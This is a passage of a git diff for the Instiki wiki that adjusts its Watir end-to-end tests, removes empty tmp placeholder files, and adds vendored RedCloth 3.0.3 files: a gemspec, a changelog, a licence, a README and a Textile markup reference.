     assert_equal "Legetøj", WikiWords.separate("Legetøj")
   end
-  
-  def test_multiple_leading_capital_letters
-    assert_equal "CMy App", WikiWords.separate("CMyApp")
-  end
 end
diff --git a/test/watir/e2e.rb b/test/watir/e2e.rb
index 58cbdd20..bee13a35 100644
--- a/test/watir/e2e.rb
+++ b/test/watir/e2e.rb
@@ -4,12 +4,8 @@ require 'test/unit'
 require 'rexml/document'
 
 INSTIKI_ROOT = File.expand_path(File.dirname(__FILE__) + "/../..")
-require(File.expand_path(File.dirname(__FILE__) + "/../../config/environment"))
 
-# TODO Create tests for:
-# * exporting HTML
-# * exporting markup
-# * include tag
+require(File.expand_path(File.dirname(__FILE__) + "/../../config/environment"))
 
 # Use instiki/../watir, if such a directory exists; This can be a CVS HEAD version of Watir. 
 # Otherwise Watir has to be installed in ruby/lib.
@@ -64,7 +60,7 @@ class E2EInstikiTest < Test::Unit::TestCase
   def test_00020_add_a_page
     # Add reference to a non-existant wiki page
     enter_markup('HomePage', '[[Another Wiki Page]]')
-    assert_equal '?', ie.link(:url, url(:new, 'Another Wiki Page')).text
+    assert_equal '?', ie.link(:url, url(:show, 'Another Wiki Page')).text
     
     # Edit the first revision of a page
     enter_markup('Another Wiki Page', 'First revision of Another Wiki Page, linked from HomePage')
@@ -86,7 +82,7 @@ class E2EInstikiTest < Test::Unit::TestCase
   def test_00030_edit_page
     enter_markup('TestEditPage', 'Test Edit Page, revision 1')
     assert_match /Test Edit Page, revision 1/, ie.text
-
+    
     # subsequent revision by the anonymous author
     enter_markup('TestEditPage', 'Test Edit Page, revision 1, altered')
     assert_match /Test Edit Page, revision 1, altered/, ie.text
@@ -98,21 +94,22 @@ class E2EInstikiTest < Test::Unit::TestCase
     assert_match Regexp.new('Revised on ' + date_pattern + ' by Author\?'), ie.text
 
     link_to_previous_revision = ie.link(:name, 'to_previous_revision')
-    assert_equal url(:revision, 'TestEditPage', 1), link_to_previous_revision.href
+    assert_equal url(:revision, 'TestEditPage', 0), link_to_previous_revision.href
     assert_equal 'Back in time', link_to_previous_revision.text
-    assert_match /Edit \| Back in time \(1 revision\) \| See changes/, ie.text
+    assert_match /Edit \| Back in time \(1 revisions\) \| See changes/, ie.text
     
     # another anonymous revision
     enter_markup('TestEditPage', 'Test Edit Page, revision 3')
     assert_match /Test Edit Page, revision 3/, ie.text
-    assert_match /Edit \| Back in time \(2 revisions\) \| See changes /, ie.text
+    assert_match /Edit \| Back in time \(2 revisions\) \| See changes \| Hide changes /, ie.text
   end
 
   def test_00040_traversing_revisions
-    ie.goto url(:revision, 'TestEditPage', 2)
+    ie.goto url(:revision, 'TestEditPage', 1)
     assert_match /Test Edit Page, revision 2/, ie.text
     assert_match(Regexp.new(
-        'Forward in time \(to current\) \| Back in time \(1 more\) \| See current \| See changes \| Rollback'),
+        'Forward in time \(1 more\) \| Back in time \(1 more\) \| ' +
+        'See current \| See changes \| Hide changes \| Rollback'),
         ie.text)
 
     ie.link(:name, 'to_previous_revision').click
@@ -127,10 +124,10 @@ class E2EInstikiTest < Test::Unit::TestCase
   end
 
   def test_00050_rollback
-    ie.goto url(:revision, 'TestEditPage', 2)
+    ie.goto url(:revision, 'TestEditPage', 1)
     assert_match /Test Edit Page, revision 2/, ie.text
     ie.link(:name, 'rollback').click
-    assert_equal url(:rollback, 'TestEditPage', 2), ie.url
+    assert_equal url(:rollback, 'TestEditPage', 1), ie.url
     assert_equal 'Test Edit Page, revision 2', ie.text_field(:name, 'content').value
     
     ie.text_field(:name, 'content').set('Test Edit Page, revision 2, rolled back')
@@ -142,12 +139,13 @@ class E2EInstikiTest < Test::Unit::TestCase
 
   def test_0060_see_changes
     ie.goto url(:show, 'TestEditPage')
-
+    assert ie.html.include?('<P>Test Edit Page, revision <DEL class=diffmod>2</DEL>' + 
+        '<INS class=diffmod>2, rolled back</INS></P>')
     assert_match /Test Edit Page, revision 2, rolled back/, ie.text
 
     ie.link(:text, 'See changes').click
 
-    assert_match /Showing changes from revision #2 to #3: Added \| Removed/, ie.text
+    assert_match /Showing changes from revision #1 to #2: Added \| Removed/, ie.text
     assert_match /Test Edit Page, revision 22, rolled back/, ie.text
     
     ie.link(:text, 'Hide changes').click
@@ -164,19 +162,13 @@ class E2EInstikiTest < Test::Unit::TestCase
 
     page_links = ie.links.map { |l| l.text }
     expected_page_links = ['Another Wiki Page', 'Home Page', 'Test Edit Page', '?', 
-                           'Another Wiki Page', 'Test Edit Page']
+        'Another Wiki Page', 'Test Edit Page'] 
     assert_equal expected_page_links, page_links[-6..-1]
-    links_sequence = 
-        'All Pages.*Another Wiki Page.*Home Page.*Test Edit Page.*' + 
+    links_sequence = 'All Pages.*Another Wiki Page.*Home Page.*Test Edit Page.*' + 
         'Wanted Pages.*Non Existant Page\? wanted by Another Wiki Page.*'+
         'Orphaned Pages.*Test Edit Page.*'
     assert_match Regexp.new(links_sequence, Regexp::MULTILINE), ie.text
     # and before that, we have the tail of the main menu
-
-
-require 'breakpoint'; breakpoint
-
-
     assert_equal 'Export', page_links[-7]
   end
 
@@ -258,7 +250,7 @@ require 'breakpoint'; breakpoint
 
   def date_pattern
     '(January|February|March|April|May|June|July|August|September|October|November|December) ' + 
-        '\d\d?, \d\d\d\d \d\d:\d\d:\d\d'
+        '\d\d?, \d\d\d\d \d\d:\d\d'
   end
 
   def enter_markup(page, content, author = nil)
@@ -317,9 +309,9 @@ class InstikiController
     startup_info = [68].pack('lx64')
     process_info = [0, 0, 0, 0].pack('llll')
 
-    clear_database
     startup_command =
-        "ruby #{RAILS_ROOT}/instiki.rb --port #{INSTIKI_PORT} --environment development"
+        "ruby #{RAILS_ROOT}/instiki.rb --storage #{prepare_storage} " +
+        "     --port #{INSTIKI_PORT} --environment development"
 
     result = Win32API.new('kernel32.dll', 'CreateProcess', 'pplllllppp', 'L').call(
         nil, 
@@ -333,10 +325,11 @@ class InstikiController
     return self.new(process_id)
   end
 
-  def self.clear_database
-    ENV['RAILS_ENV'] = 'development'
-    require INSTIKI_ROOT + '/config/environment.rb'
-    [WikiReference, Revision, Page, WikiFile, Web, System].each { |entity| entity.delete_all }
+  def self.prepare_storage
+    storage_path = INSTIKI_ROOT + '/storage/e2e'
+    FileUtils.rm_rf(storage_path) if File.exists? storage_path
+    FileUtils.mkdir_p(storage_path)
+    storage_path
   end
 
   def initialize(pid)
diff --git a/tmp/.gitignore b/tmp/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/tmp/cache/.gitignore b/tmp/cache/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/tmp/pids/.gitignore b/tmp/pids/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/tmp/restart.txt b/tmp/restart.txt
deleted file mode 100644
index e69de29b..00000000
diff --git a/tmp/sessions/.gitignore b/tmp/sessions/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/tmp/sockets/.gitignore b/tmp/sockets/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/RedCloth-3.0.3/RedCloth.gemspec b/vendor/RedCloth-3.0.3/RedCloth.gemspec
new file mode 100644
index 00000000..ca64b780
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/RedCloth.gemspec
@@ -0,0 +1,52 @@
+require 'rubygems'
+spec = Gem::Specification.new do |s|
+
+  ## Basic Information
+
+  s.name = 'RedCloth'
+  s.version = "3.0.3"
+  s.platform = Gem::Platform::RUBY
+  s.summary = <<-TXT
+    RedCloth is a module for using Textile and Markdown in Ruby. Textile and Markdown are text formats. 
+    A very simple text format. Another stab at making readable text that can be converted to HTML.
+  TXT
+  s.description = <<-TXT
+    No need to use verbose HTML to build your docs, your blogs, your pages.  Textile gives you readable text while you're writing and beautiful text for your readers.  And if you need to break out into HTML, Textile will allow you to do so.
+
+    Textile also handles some subtleties of formatting which will enhance your document's readability:
+
+    * Single- and double-quotes around words or phrases are converted to curly quotations, much easier on
+      the eye.  "Observe!"
+
+    * Double hyphens are replaced with an em-dash.  Observe -- very nice!
+
+    * Single hyphens are replaced with en-dashes. Observe - so cute!
+
+    * Triplets of periods become an ellipsis.  Observe...
+
+    * The letter 'x' becomes a dimension sign when used alone.  Observe: 2 x 2.
+
+    * Conversion of ==(TM)== to (TM), ==(R)== to (R), ==(C)== to (C).
+
+    For more on Textile's language, hop over to "A Textile Reference":http://hobix.com/textile/.  For more
+    on Markdown, see "Daring Fireball's page":http://daringfireball.net/projects/markdown/.
+  TXT
+
+  ## Include tests, libs, docs
+
+  s.files = ['bin/**/*', 'tests/**/*', 'lib/**/*', 'docs/**/*', 'run-tests.rb'].collect do |dirglob|
+                Dir.glob(dirglob)
+            end.flatten.delete_if {|item| item.include?("CVS")}
+
+  ## Load-time details
+
+  s.require_path = 'lib'
+  s.autorequire = 'redcloth'
+
+  ## Author and project details
+
+  s.author = "Why the Lucky Stiff"
+  s.email = "why@ruby-lang.org"
+  s.rubyforge_project = "redcloth"
+  s.homepage = "http://www.whytheluckystiff.net/ruby/redcloth/"
+end
diff --git a/vendor/RedCloth-3.0.3/bin/redcloth b/vendor/RedCloth-3.0.3/bin/redcloth
new file mode 100644
index 00000000..81abf7db
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/bin/redcloth
@@ -0,0 +1,3 @@
+#!/usr/local/bin/ruby18
+require 'redcloth'
+puts RedCloth.new( ARGF.read ).to_html
diff --git a/vendor/RedCloth-3.0.3/doc/CHANGELOG b/vendor/RedCloth-3.0.3/doc/CHANGELOG
new file mode 100644
index 00000000..7b5f9cf3
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/doc/CHANGELOG
@@ -0,0 +1,149 @@
+--- %YAML:1.0
+- version: 3.0.3
+  date: 2005-02-06
+  changes:
+    - Stack overflow regexp on code inlines obliterated.
+    - Citations scaled back.
+    - Toggle span tags on CAPS with :no_span_tags accessor.
+
+- version: 3.0.2
+  date: 2005-02-02
+  changes:
+    - Stack overflow Regexps replaced.
+    - All code blocks protected from formatting.
+    - Hard breaks working.
+    - Filter HTML now uses detailed cleaner.
+
+- version: 3.0.1
+  date: 2004-11-15
+  changes:
+    - Using `float' rather than `text-align' to align image blocks.
+    - Shelving more HTML attributes to prevent them from clashing with Textile glyphs.
+    - Simplifying the block regexp.
+
+- version: 3.0
+  date: 2004-10-26
+  changes:
+    - Broke up the Textile engine into smaller parts, recoded central block parser.
+    - Added preliminary support for Markdown.
+    - Added support for custom Textile prefixes.
+    - RedCloth now generates XHTML fragments.
+    - Complete HTML documents should now work, RedCloth ignores complex HTML.
+      
+- version: 2.0.12
+  date: 2004-08-09
+  changes:
+    - Escaping tighter for <pre> tags that share a single line.
+    - No more String#htmlesc!.  Moved to RedCloth#htmlesc.
+    - Pruned out the code that was handling multibyte.
+
+- version: 2.0.11
+  date: 2004-06-01
+  changes:
+    - Fixed the new 2.0-style aliased links.
+    - Lines starting with div opening or closing tags aren't given paragraph tags.
+    - Escaped some sample markup that was being translated by RDoc.
+    - Subtle changes to the quick tags to help them interact with surrounding HTML better.
+    - Ensure angle brackets inside code quick tags get escaped.
+    - New patch and test by F. Ros to fix <pre> tags with class settings.
+    - Commented out encode_entities and fix_entities, they do nothing now.  Thanks, Denis.
+    - Scaled back QTAGS a back to avoid mixing up hyphens and dels.  Thanks, Denis.
+    - Work on the references to ensure they are generating at least XHTML 1.0 Transitional.
+
+- version: 2.0.10
+  date: 2004-05-26
+  changes:
+    - Table and list problems.  Rewrote the <pre> handling code.. again.
+
+- version: 2.0.9
+  date: 2004-05-26
+  changes:
+    - Improved RDoc.  Ri documentation is auto-installed now!
+    - Links were consuming closing HTML tags.  (See latest test in tests/links.yml.)
+    - Further speed patch from Denis.  Good good.
+    - Patch by F. Ros to fix <pre> tags with class settings.
+
+- version: 2.0.8
+  date: 2004-05-22
+  changes:
+    - First scan of the glyphs() method only scans for pre|notextile|code, the
+      deeper passes scan for all HTML.  Now inlines work around HTML tags!
+      (What a pain!)
+    - Moved tables and blocks into glyphs to keep them shielded from the parser
+      if they are in <pre> tags.
+    - Patch by Denis Mertz to speed up RedCloth by compiling the various RegExps
+      only once.  Thanks, David!
+
+- version: 2.0.7
+  date: 2004-04-21
+  changes:
+    - New REFERENCE and QUICK-REFERENCE.  See http://hobix.com/textile/.
+    - Lists rewritten to accomplish better line folding.
+    - Better, greedier links.
+    - Additional link and list tests.
+
+- version: 2.0.6
+  date: 2004-04-16
+  changes:
+    - Bold and strong tags were mixed up.  '*' is now strong.  '**' is bold.
+      They were swapped until now.
+    - Horizontal alignments were pretty buggy.  Combining alignments with
+      indents was totally broken.
+    - Fixed table problem.  Now glyphs are handled between tables and blocks.
+    - Nested <pre> and <code> tags are now escaped.  Much better handling of
+      HTML inside <pre> tags.  Really: quite nice.
+    - Patch from Florian Gross to fix an html filtration inconsistency.
+
+- version: 2.0.5
+  date: 2004-04-14
+  changes: 
+    - Added safe mode (patch courtesy of Florian Gross).
+    - Added line folding (suggested by Jim Menard).
+    - Fixing notextile tags to work multi-line.
+    - Ambiguity with em-dash and block opener.
+    - Footnote bug. (Thanks, Jim Menard!)
+
+- version: 2.0.4
+  date: 2004-04-08
+  changes:
+    - Scaled back aggresiveness of the inline matching to aid the em-dash.
+    - Scaled back footnotes to stay out of array indices.
+
+- version: 2.0.3
+  date: 2004-04-02
+  changes:
+    - Handling of pre, code, notextile was all wrong.  Also, got rid of the goofed up
+      split then collect.  Now using gsub! and recursion to handle inlines and glyphs.
+    - Better acronym support.
+    - Suppression of Regexp warnings.
+    - Single- and double-quoted string wierdness.  Thanks, Bret Pettichord.
+
+- version: 2.0.2
+  date: 2004-03-08
+  changes:
+    - Fixed broken lists, broken tables.
+    - code/pre tags now escape properly, glyphs are working, spans are working when surrounded by html tags.
+    - Fixed classes and ids. 
+    - Restricted notextile tags to a single line.
+
+- version: 2.0.1
+  date: 2004-02-10
+  changes:
+    - Unmatched closing slash on regexps in ruby 1.6.8.
+    - Fixes to bulleted lists.
+
+- version: 2.0
+  date: 2004-02-06
+  changes:
+    - Complete rewrite of RedCloth, against beta2 from textism.com.
+
+- version: 0.41
+  date: 2003-06-20
+  changes:
+    - Newlines were outputing as escaped.
+
+- version: 0.4
+  date: 2003-06-20
+  changes:
+    - Initial public release.
+    - Integration of YAML-based PyTextile tests.
diff --git a/vendor/RedCloth-3.0.3/doc/COPYING b/vendor/RedCloth-3.0.3/doc/COPYING
new file mode 100644
index 00000000..044109ae
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/doc/COPYING
@@ -0,0 +1,25 @@
+Redistribution and use in source and binary forms, with or without 
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, 
+  this list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+
+* Neither the name Textile nor the names of its contributors may be used to
+  endorse or promote products derived from this software without specific
+  prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/RedCloth-3.0.3/doc/README b/vendor/RedCloth-3.0.3/doc/README
new file mode 100644
index 00000000..1ae4560c
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/doc/README
@@ -0,0 +1,108 @@
+p=. !redcloth3-title.png!
+
+<div id="sidebar">
+
+h4. Get RedCloth 3
+
+p(example1). *Stable version:* "2.0.11":http://rubyforge.org/frs/download.php/698/redcloth-2.0.11.tar.gz
+
+p(example1). *Unstable version:* "3.0.2":http://rubyforge.org/frs/download.php/2852/RedCloth-3.0.2.tar.gz
+
+Take a complete tour of Textile at "A Textile Reference":http://hobix.com/textile/.
+
+For fast syntax checking, try the "Quick Reference":http://hobix.com/textile/quick.html.
+
+p(example1). Upgrade with "RubyGems":http://rubygems.rubyforge.org/!  Try: 
+@gem install RedCloth@.
+
+See the "project page":http://rubyforge.org/projects/redcloth/ for bug reporting, old releases and CVS instructions.  "Documentation":http://redcloth.rubyforge.org/rdoc/ is also hosted at RubyForge.
+
+h4. RedCloth Links
+
+"Instiki":http://www.instiki.org is the greatest Wiki ever!  Uses RedCloth for its markup!
+
+"Hobix":http://hobix.com is a lovely little blogging package which uses RedCloth for blog entries.
+
+<div id="css-buttons">
+
+* "(css-button w3c)%W3C% xhtml 1.0(Valid XHTML 1.0!)":http://validator.w3.org/check?uri=referer
+* "(css-button w3c w3c2)%W3C% valid css(Valid CSS!)":http://jigsaw.w3.org/css-validator/check/referer
+
+</div>
+
+</div>
+
+RedCloth is a module for using Textile in Ruby.  Textile is a text format.  A very simple text format.  Another stab at making readable text that can be converted to HTML.
+
+h2. What is Textile?
+
+Textile is a simple markup language.
+
+table{width:400px}.
+|_. textile|_. to|_. html|
+| <notextile>_a phrase_</notextile> |->|_a phrase_|
+| <notextile>*a phrase*</notextile> |->|*a phrase*|
+| <notextile>_*a phrase*_</notextile> |->|_*a phrase*_|
+| <notextile>"Google":http://google.com</notextile> |->|"Google":http://google.com|
+
+No need to use verbose HTML to build your docs, your blogs, your pages.  Textile gives you readable text while you're writing and beautiful text for your readers.  And if you need to break out into HTML, Textile will allow you to do so.
+
+Textile also handles some subtleties of formatting which will enhance your document's readability:
+
+* Single- and double-quotes around words or phrases are converted to curly quotations, much easier on
+  the eye.  "Observe!"
+
+* Double hyphens are replaced with an em-dash.  Observe -- very nice!
+
+* Single hyphens are replaced with en-dashes. Observe - so cute!
+
+* Triplets of periods become an ellipsis.  Observe...
+
+* The letter 'x' becomes a dimension sign when used alone.  Observe: 2 x 2.
+
+* Conversion of <notextile>(TM)</notextile> to (TM), <notextile>(R)</notextile> to (R), <notextile>(C)</notextile> to (C).
+
+For more on Textile's language, hop over to "A Textile Reference":http://hobix.com/textile/.
+
+h2. Using RedCloth
+
+The RedCloth class is an extension of Ruby's String class. Use it like you would a String:
+
+<pre>
+  >> r = RedCloth.new "*strong text* and _emphasized text_"
+  => "*strong text* and _emphasized text_"
+  >> r.gsub!( 'text', 'words' )
+  => "*strong words* and _emphasized words_"
+</pre>
+
+To generate HTML from your RedCloth object, use the @RedCloth#to_html@ method:
+
+<pre>
+  >> r.to_html
+  => "<p><strong>strong words</strong> and <em>emphasized words</em></p>"
+</pre>
+
+
+h2. Installing RedCloth
+
+To install RedCloth via RubyGems:
+
+<pre>
+  gem install RedCloth
+</pre>
+
+Or "download RedCloth":http://rubyforge.org/frs/download.php/2852/RedCloth-3.0.2.tar.gz and simply run the install.rb like so:
+
+<pre>
+  ruby install.rb config
+  ruby install.rb setup
+  sudo ruby install.rb install
+</pre>
+
+
+h2. Acknowledgements
+
+Textile is (c) 2003 Dean Allen.  All rights reserved. You can read more "here":http://www.textism.com/tools/textile/.
+
+RedCloth is also based on PyTextile, which is: Copyright (c) 2003, "Mark Pilgrim":http://diveintomark.org/.  All rights reserved.  You can read more about PyTextile "here":http://dealmeida.net/projects/textile.
+
diff --git a/vendor/RedCloth-3.0.3/doc/REFERENCE b/vendor/RedCloth-3.0.3/doc/REFERENCE
new file mode 100644
index 00000000..a3e5bec0
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/doc/REFERENCE
@@ -0,0 +1,216 @@
+---
+- A Textile Reference:
+  - Textile is a simple text markup.  Simple symbols mark words' emphasis.  Blocks of text
+    can be easily tagged as headers, quotes, or lists.  A Textile document can then be
+    converted to HTML(Hypertext Markup Language) for viewing on the web.
+  - You can try Textile out on the "Textile home page":http://www.textism.com/tools/textile/.
+    Textile is also available as "RedCloth":http://whytheluckystiff.net/ruby/redcloth/ for
+    Ruby or "PyTextile":http://dealmeida.net/projects/textile for Python.
+  - Also refer to the "*Quick Reference*":javascript:quickRedReference(); for this guide.
+  - h4. Reading the Examples
+  - In each section below, examples are provided to clearly illustrate.  In each example,
+    the Textile example is followed by the raw HTML it is translated into, followed by how
+    the HTML appears in the browser.
+  - 
+    - Textile example
+    - Converted to HTML
+    - Browser-view
+- Writing in Textile:
+  - Textile looks for paragraphs in your text.  Paragraphs are separated by one blank line.
+    Every paragraph is translated as an HTML paragraph.
+  - !!example "A single paragraph.\n\nFollowed by another."
+  - h4. Using HTML in Textile
+  - You can certainly use HTML tags inside your Textile documents.  HTML will only be escaped
+    if it's found in a @pre@ or @code@ block.
+  - !!example "I am <b>very</b> serious.\n\n<pre>\n  I am <b>very</b> serious.\n</pre>"
+  - h4. Line Breaks
+  - Line breaks are converted to HTML breaks.
+  - !!example "I spoke.\nAnd none replied."
+  - Line breaks can be disabled in RedCloth by turning on @fold_lines@.
+  - h4. Entities
+  - Single- and double-quotes around words or phrases are converted to curly quotations, much easier on the eye.
+  - !!example '"Observe!"'
+  - Double hyphens are replaced with an em-dash.
+  - !!example Observe -- very nice!
+  - Single hyphens are replaced with en-dashes.
+  - !!example Observe - tiny and brief.
+  - Triplets of periods become an ellipsis.
+  - !!example Observe...
+  - The letter 'x' becomes a dimension sign when used alone.
+  - !!example 'Observe: 2 x 2.'
+  - Conversion of trademark and copyright symbols.
+  - !!example 'one(TM), two(R), three(C).'
+- Quick Block Modifiers:
+  - Blocks of text default to being treated as paragraphs.  But modifers can be affixed
+    to the beginning of a block to change its treatment.
+  - h4. Headers
+  - To make an entire paragraph into a Header, place "h<em>n</em>." at 
+    its beginning, where _n_ is a number from 1-6.
+  - !!example h1. Header 1
+  - !!example h2. Header 2
+  - !!example h3. Header 3
+  - h4. Block Quotes
+  - To make an entire paragraph into a block quotation, place
+    "bq." before it.
+  - !!example "An old text\n\nbq. A block quotation.\n\nAny old text"
+  - h4. Footnotes
+  - Numeric references within text to footnotes appear between square brackets.
+  - !!example This is covered elsewhere[1].
+  - To create the footnote that corresponds to its reference within the text, begin a new paragraph with fn and the 
+    footnote's number, followed by a dot and a space.
+  - !!example fn1. Down here, in fact.
+- Quick Phrase Modifiers:
+  - h4. Structural Emphasis
+  - Emphasis to text is added by surrounding a phrase with underscores.  In HTML, this often
+    appears as <em>italics</em>.
+  - !!example I _believe_ every word.
+  - Strength can be give to text by surrounding with asterisks.  In HTML, this strength appears
+    as <strong>bold</strong>.
+  - !!example And then? She *fell*!
+  - Both italics and bold can be forced by doubling the underscores or asterisks.
+  - !!example "I __know__.\nI **really** __know__."
+  - Use double question marks to indicate _citation_.  The title of a book, for instance.
+  - !!example "??Cat's Cradle?? by Vonnegut"
+  - Code phrases can be surrounded by at-symbols.
+  - !!example "Convert with @r.to_html@"
+  - To indicate a passage which has been deleted, surround the passage with hypens.
+  - !!example "I'm -sure- not sure."
+  - Pluses around a passage indicate its insertion.
+  - !!example "You are a +pleasant+ child."
+  - To superscript a phrase, surround with carets.
+  - !!example "a ^2^ + b ^2^ = c ^2^"
+  - To subscript, surround with tildes.
+  - !!example "log ~2~ x"
+  - h4. HTML-Specific
+  - Lastly, if you find yourself needing to customize the style of a passage, use percent symbols
+    to translate the passage as an HTML span.
+  - !!example I'm %unaware% of most soft drinks.
+  - This way, you can apply style settings, as described in the next section to arbitrary phrases.
+  - !!example "I'm %{color:red}unaware%\nof most soft drinks."
+- Attributes:
+  - Tailoring Textile to suit your needs is quite easy.  Attributes allow you to provide CSS(Cascading
+    Style Sheets) information about any phrase.
+  - h4. Block Attributes
+  - A block can be tagged with a CSS class by circling the class in parentheses and
+    placing it just before the period which marks the block.
+  - !!example p(example1). An example
+  - An element ID can be given by prefixing the ID with a pound symbol and using it in place of
+    the class.
+  - !!example p(#big-red). Red here
+  - Class and ID can be combined by placing the class first.
+  - !!example p(example1#big-red2). Red here
+  - Style settings can be provided directly by surrounding them in curly braces.
+  - !!example p{color:blue;margin:30px}. Spacey blue
+  - Language designations can be given between angel brackets.
+  - !!example p[fr]. rouge
+  - h4. Phrase Attributes
+  - All block attributes can be applied to phrases as well by placing them just inside the
+    opening modifier.
+  - !!example "I seriously *{color:red}blushed*\nwhen I _(big)sprouted_ that\ncorn stalk from my\n%[es]cabeza%."
+  - h4. Block Alignments
+  - Text inside blocks can be aligned in four basic ways.
+  - !!example p<. align left
+  - !!example p>. align right
+  - !!example p=. centered
+  - !!example p<>. justified
+  - Indentation can also be specified by provide a single left paren for every 1em to the left.  A single right
+    paren for every 1em to the right.
+  - !!example p(. left ident 1em
+  - !!example p((. left ident 2em
+  - !!example p))). right ident 3em
+  - h4. Combining Alignments
+  - Identation may be coupled with alignment.
+  - !!example "h2()>. Bingo."
+  - And, furthermore, coupled with language settings and CSS styles.
+  - !!example "h3()>[no]{color:red}. Bingo"
+  - h4. HTML in Textile
+  - Textile is designed for quickening the simple markups.  For more complex formatting, you are encouraged
+    to break out into HTML.
+  - For example, long code blocks belong between @pre@ and @code@ tags.  Please also indent your code inside
+    the tags to be sure that all Textile processors out there will ignore the contents.
+  - !!example |
+      <pre>
+      <code>
+        a.gsub!( /</, '' )
+      </code>
+      </pre>
+  - You may also choose to surround sections with @div@ tags to separate your document into sections.
+    "Instiki":http://www.instiki.org/ uses this technique to float a sidebar to the right.
+  - !!example |
+      <div style="float:right;">
+      
+      h3. Sidebar
+
+      "Hobix":http://hobix.com/
+      "Ruby":http://ruby-lang.org/
+
+      </div>
+      
+      The main text of the
+      page goes here and will 
+      stay to the left of the 
+      sidebar.
+
+- Lists:
+  - h4. Numeric Lists
+  - To make a numbered list, place each item in its own paragraph, preceded by "#".
+  - !!example "# A first item\n# A second item\n# A third"
+  - These lists may be nested by increasing the number of pound symbols preceding child entries.
+  - !!example "# Fuel could be:\n## Coal\n## Gasoline\n## Electricity\n# Humans need only:\n## Water\n## Protein"
+  - h4. Bulleted Lists
+  - Bulleted lists use an asterisk in place of the pound.
+  - !!example "* A first item\n* A second item\n* A third"
+  - These lists may be nested in like manner.
+  - !!example "* Fuel could be:\n** Coal\n** Gasoline\n** Electricity\n* Humans need only:\n** Water\n** Protein"
+- External References:
+  - h4. Hypertext Links
+  - Basic links are comprised of a phrase which is linked to a URL(Universal Resource Locator).  Place the
+    descriptive phrase in quotation marks.  Follow it immediately by a colon and the URL.
+  - !!example I searched "Google":http://google.com.
+  - Notice, the link won't include any trailing punctuation.
+  - h4. Link Aliases
+  - If you are using the same link several times in your document, or you'd just like to be a tad more
+    organized, you can use a link alias.  Place the URL anywhere in your document, beginning with its
+    alias in square brackets.  Then, use the alias in place of the URL, using the link format above.
+  - !!example |
+      I am crazy about "Hobix":hobix
+      and "it's":hobix "all":hobix I ever
+      "link to":hobix!
+
+      [hobix]http://hobix.com
+  - h4. Embedded Images
+  - You can embed an image in your Textile document by surrounding its URL with exclamation marks.
+  - !!example "!http://hobix.com/sample.jpg!" 
+  - URLs may be relative.
+  - A title for the image can also be provided in parens, just before the closing exclamation.
+  - !!example "!openwindow1.gif(Bunny.)!"
+  - The title also acts as *alt* text should the image not be found.
+  - Links can be attached to images with a colon.
+  - !!example "!openwindow1.gif!:http://hobix.com/"
+  - h4. Image Alignments
+  - Alignments can be applied as well to images.
+  - !!example "!>obake.gif!\n\nAnd others sat all round the small\nmachine and paid it to sing to them."
+  - h4. Acronyms
+  - Definitions for acronyms can be provided by following an acronym with its definition in parens.
+  - !!example We use CSS(Cascading Style Sheets).
+- Tables:
+  - Simple tables can be built by separating fields with pipe characters
+  - !!example "| name | age | sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |"
+  - Specify header cells by marking them with an underscore and period.
+  - !!example "|_. name |_. age |_. sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |"
+  - h4. Cell Attributes
+  - The period used above marks the end of a cell's attributes.  Other attributes can be applied as well.
+  - !!example "|_. attribute list |\n|<. align left |\n|>. align right|\n|=. center |\n|<>. justify |\n|^. valign top |\n|~. bottom |"
+  - You can also specify colspans with a backslash, followed by the cell width.
+  - !!example "|\\2. spans two cols |\n| col 1 | col 2 |"
+  - Rowspan is specified by a forward slash, followed by the row height.
+  - !!example "|/3. spans 3 rows | a |\n| b |\n| c |"
+  - All block attributes can be applied to table cells as well.
+  - !!example "|{background:#ddd}. Grey cell|"
+  - h4. Table and Row Attributes
+  - Table-wide attributes can be applied before the first row of the table.  On its own line, followed by
+    a period.
+  - !!example "table{border:1px solid black}.\n|This|is|a|row|\n|This|is|a|row|"
+  - Attributes can be applied to a single row by supplying the attribute before the row starts, using a
+    @table@ modifier and following it by a period.
+  - !!example "|This|is|a|row|\n{background:#ddd}. |This|is|grey|row|"
diff --git a/vendor/RedCloth-3.0.3/doc/make.rb b/vendor/RedCloth-3.0.3/doc/make.rb
new file mode 100644
index 00000000..3789beaa
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/doc/make.rb
@@ -0,0 +1,359 @@
+$:.unshift '../lib'
+require 'yaml'
+require 'redcloth'
+
+class String
+    #
+    # Flexible HTML escaping
+    #
+    def htmlesc!( mode )
+        gsub!( '&', '&amp;' )
